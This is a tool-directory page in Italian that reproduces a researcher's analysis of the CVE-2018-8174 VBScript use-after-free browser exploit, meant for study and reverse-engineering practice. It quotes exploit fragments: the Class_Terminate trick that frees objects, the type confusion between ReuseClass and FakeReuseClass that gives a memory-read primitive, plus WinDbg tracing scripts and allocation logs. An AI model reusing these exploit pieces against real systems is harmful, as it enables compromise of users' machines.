Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2018-8174_analysis — Analisi dell'exploit VBS CVE-2018-8174 | Kitploit
Strumenti/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Memory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringApprendimento e FormazioneBinary Exploitation
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Analisi dell'exploit VBS CVE-2018-8174

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
3014168 anni faRevisionato da Kitploit

Dissezionare un exploit moderno per browser: caso di studio di CVE-2018-8174

Panoramica

Quando questo exploit è emerso per la prima volta tra aprile e maggio, ha suscitato il mio interesse, poiché nonostante la forte offuscazione, la struttura del codice sembrava ben organizzata e il codice di sfruttamento della vulnerabilità era abbastanza piccolo da rendere l'analisi più semplice. Ho scaricato il POC da github e ho deciso che sarebbe stato un buon candidato per dare un'occhiata sotto il cofano. All'epoca erano già state pubblicate due analisi, la prima di 360 e la seconda di Kaspersky. Entrambe mi hanno aiutato a capire come funzionava, ma non sono state sufficienti per comprendere a fondo ogni aspetto dell'exploit. Ecco perché ho deciso di analizzarlo per conto mio e condividere le mie scoperte.

Pre-elaborazione

Per prima cosa, per rimuovere l'offuscamento degli interi, ho usato la sostituzione regex in uno script Python:

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

Per quanto riguarda i nomi offuscati, li ho rinominati progressivamente durante l'analisi. Questa analisi è meglio leggerla con il codice sorgente, il cui link è alla fine.

Use after free

La vulnerabilità si verifica quando un oggetto viene terminato e viene chiamata la funzione definita dall'utente Class_Terminate(). In questa funzione, il riferimento all'oggetto in fase di rilascio viene salvato in UafArray. D'ora in poi UafArray(i) fa riferimento all'oggetto eliminato.

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Notate anche l'ultima riga in Class_Terminate(). Quando copiamo l'oggetto ClassTerminate in UafArray, il suo contatore di riferimenti viene incrementato. Per bilanciarlo, lo liberiamo di nuovo assegnando un altro valore a FreedObjectArray. Senza questo, la memoria dell'oggetto non verrebbe liberata nonostante la chiamata di Class_Terminate su di esso e l'oggetto successivo non verrebbe allocato al suo posto.

VBScriptClass::Release method

La creazione e l'eliminazione di nuovi oggetti viene ripetuta 7 volte in un ciclo; dopo di che viene creato un nuovo oggetto della classe ReuseClass. Viene allocato nella stessa memoria che era stata precedentemente occupata dalle 7 istanze di ClassTerminate.

Per capire meglio, ecco un semplice script WinDbg che traccia tutte queste allocazioni:

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Ecco il log di allocazione dalla funzione UafTrigger:

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Possiamo vedere immediatamente che ReuseClass è effettivamente allocata nella stessa memoria che era stata assegnata alle 7 istanze precedenti di ClassTerminate. Questa operazione viene ripetuta due volte. Alla fine abbiamo due oggetti referenziati da UafArrays. Nessuno di questi riferimenti è riflesso nel contatore di riferimenti dell'oggetto. In questo log possiamo anche notare che anche dopo la chiamata di Class_Terminate ci sono alcune manipolazioni dell'oggetto che ne cambiano il contatore di riferimenti. Ecco perché se non bilanciassimo questo contatore in Class_Terminate otterremmo qualcosa del genere:

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Indirizzi di allocazione diversi. L'exploit non riuscirebbe a creare la condizione di use after free.

Confusione di tipo

Avendo creato questi due oggetti con 7 riferimenti non contati ciascuno, abbiamo stabilito una primitiva di lettura arbitraria della memoria. Ci sono due classi simili, ReuseClass e FakeReuseClass. Sostituendo la prima classe con la seconda si verifica una confusione di tipo sul membro mem.

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
Scarica lo strumento